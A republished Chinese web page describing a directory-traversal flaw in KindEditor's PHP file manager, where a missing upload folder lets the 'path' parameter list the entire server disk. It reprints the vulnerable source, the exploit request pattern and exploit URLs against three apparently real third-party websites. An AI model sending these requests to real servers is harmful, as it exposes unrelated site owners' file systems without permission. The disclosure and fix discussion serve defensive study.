手机
当前位置:查字典教程网 >网络安全 >漏洞分析 >Kindeditor特定情况可能会导致全盘浏览的漏洞
Kindeditor特定情况可能会导致全盘浏览的漏洞
摘要:因为例子很少,开始想了下不是他们的漏洞,后面想了下,后面没有检查好用户的正常配置内容导致,还是提下吧。下载地址:貌似是最新版本的。测试语言:...

因为例子很少,开始想了下不是他们的漏洞,后面想了下,后面没有检查好用户的正常配置内容导致,还是提下吧。

下载地址:

貌似是最新版本的。

测试语言:PHP

测试漏洞文件:/kindeditor/php/file_manager_json.php

默认配置(第16行):

$root_path = $php_path . '../attached/';

当/attached/文件夹不存在(被删)或者被改名为一个不存在的目录时,如网上的一个例子:

$root_path = $php_path . '../../../upload/';

这个CMS下面的目录根本就没得这个目录,所以就造成了漏洞。

怎么造成了漏洞的呢?我们分析下。

PHP Code复制内容到剪贴板 <?php /** *KindEditorPHP * *本PHP程序是演示程序,建议不要直接在实际项目中使用。 *如果您确定直接使用本程序,使用之前请仔细确认相关安全设置。 * */ require_once'JSON.php'; $php_path=dirname(__FILE__).'/'; $php_url=dirname($_SERVER['PHP_SELF']).'/'; //根目录路径,可以指定绝对路径,比如/var/www/attached/ $root_path=$php_path.'../../../upload/'; //根目录URL,可以指定绝对路径,比如http://www.yoursite.com/attached/ $root_url=$php_url.'../../../upload/'; //图片扩展名 $ext_arr=array('gif','jpg','jpeg','png','bmp'); //目录名 $dir_name=emptyempty($_GET['dir'])?'':trim($_GET['dir']); if(!in_array($dir_name,array('','image','flash','media','file'))){ echo"InvalidDirectoryname."; exit; } if($dir_name!==''){ $root_path.=$dir_name."/"; $root_url.=$dir_name."/"; if(!file_exists($root_path)){ mkdir($root_path); } } //根据path参数,设置各路径和URL if(emptyempty($_GET['path'])){ $current_path=realpath($root_path).'/'; $current_url=$root_url; $current_dir_path=''; $moveup_dir_path=''; }else{ $current_path=realpath($root_path).'/'.$_GET['path']; $current_url=$root_url.$_GET['path']; $current_dir_path=$_GET['path']; $moveup_dir_path=preg_replace('/(.*?)[^/]+/$/','$1',$current_dir_path); } //echorealpath($root_path); //排序形式,nameorsizeortype $order=emptyempty($_GET['order'])?'name':strtolower($_GET['order']); //不允许使用..移动到上一级目录 if(preg_match('/../',$current_path)){ echo'Accessisnotallowed.'; exit; } //最后一个字符不是/ if(!preg_match('//$/',$current_path)){ echo'Parameterisnotvalid.'; exit; } //目录不存在或不是目录 if(!file_exists($current_path)||!is_dir($current_path)){ echo'Directorydoesnotexist.'; exit; } //遍历目录取得文件信息 $file_list=array(); if($handle=opendir($current_path)){ $i=0; while(false!==($filename=readdir($handle))){ if($filename{0}=='.')continue; $file=$current_path.$filename; if(is_dir($file)){ $file_list[$i]['is_dir']=true;//是否文件夹 $file_list[$i]['has_file']=(count(scandir($file))>2);//文件夹是否包含文件 $file_list[$i]['filesize']=0;//文件大小 $file_list[$i]['is_photo']=false;//是否图片 $file_list[$i]['filetype']='';//文件类别,用扩展名判断 }else{ $file_list[$i]['is_dir']=false; $file_list[$i]['has_file']=false; $file_list[$i]['filesize']=filesize($file); $file_list[$i]['dir_path']=''; $file_ext=strtolower(pathinfo($file,PATHINFO_EXTENSION)); $file_list[$i]['is_photo']=in_array($file_ext,$ext_arr); $file_list[$i]['filetype']=$file_ext; } $file_list[$i]['filename']=$filename;//文件名,包含扩展名 $file_list[$i]['datetime']=date('Y-m-dH:i:s',filemtime($file));//文件最后修改时间 $i++; } closedir($handle); } //排序 functioncmp_func($a,$b){ global$order; if($a['is_dir']&&!$b['is_dir']){ return-1; }elseif(!$a['is_dir']&&$b['is_dir']){ return1; }else{ if($order=='size'){ if($a['filesize']>$b['filesize']){ return1; }elseif($a['filesize']<$b['filesize']){ return-1; }else{ return0; } }elseif($order=='type'){ returnstrcmp($a['filetype'],$b['filetype']); }else{ returnstrcmp($a['filename'],$b['filename']); } } } usort($file_list,'cmp_func'); $result=array(); //相对于根目录的上一级目录 $result['moveup_dir_path']=$moveup_dir_path; //相对于根目录的当前目录 $result['current_dir_path']=$current_dir_path; //当前目录的URL $result['current_url']=$current_url; //文件数 $result['total_count']=count($file_list); //文件列表数组 $result['file_list']=$file_list; //输出JSON字符串 header('Content-type:application/json;charset=UTF-8'); $json=newServices_JSON(); echo$json->encode($result);

第三十八行:

$current_path = realpath($root_path) . '/';

当$root_path被realpath以后,不存在的目录会返回空,然后连接后面的'/'

$current_path所以默认就等于'/'

当提交了$_GET['path']以后,而且$_GET['path']要以'/'为结尾(有验证),所以,我们就可以构造浏览全盘目录了。

kingedit/php/file_manager_json.php?path=/ (浏览盘符的根目录)

接着上面给出验证的(互联网找到几个):

先给本地的(attached文件夹被我删了):

Kindeditor特定情况可能会导致全盘浏览的漏洞1

Kindeditor特定情况可能会导致全盘浏览的漏洞2

互联网找到的:

http://demo.douco.com/admin/include/kindeditor/php/file_manager_json.php?path=home/demodoucokdce4mmohd8okuoc1o/wwwroot/&dir=image

Kindeditor特定情况可能会导致全盘浏览的漏洞3

http://route53.com.tw/static/jscripts/kindeditor/php/file_manager_json.php?path=home/onepage/public_html/

Kindeditor特定情况可能会导致全盘浏览的漏洞4

http://www.bndvalve.com/Public/kindeditor/php/file_manager_json.php?path=wwwroot/bonade/

Kindeditor特定情况可能会导致全盘浏览的漏洞5

修复方案:再验证下绝对路径?

【Kindeditor特定情况可能会导致全盘浏览的漏洞】相关文章:

Foxit Reader PDF文件解析内存破坏漏洞

McAfee ePO 系统安全管理解决方案存在漏洞

解析OpenSSL程序概念及震惊业界的“心脏出血”漏洞

Symark PowerBroker 客户端多个本地命令溢出漏洞

KindEditor上传解析漏洞、列目录、内容漏洞

OmniPCX Enterprise存在远程命令注入漏洞

Cisco Internetwork Performance Monitor 的漏洞

Firebird protocol.cpp XDR协议远程内存破坏漏洞

Ewebeditor 的一些漏洞总结 推荐

Apple iPhone Passcode Lock 绕过安全限制的漏洞

精品推荐
分类导航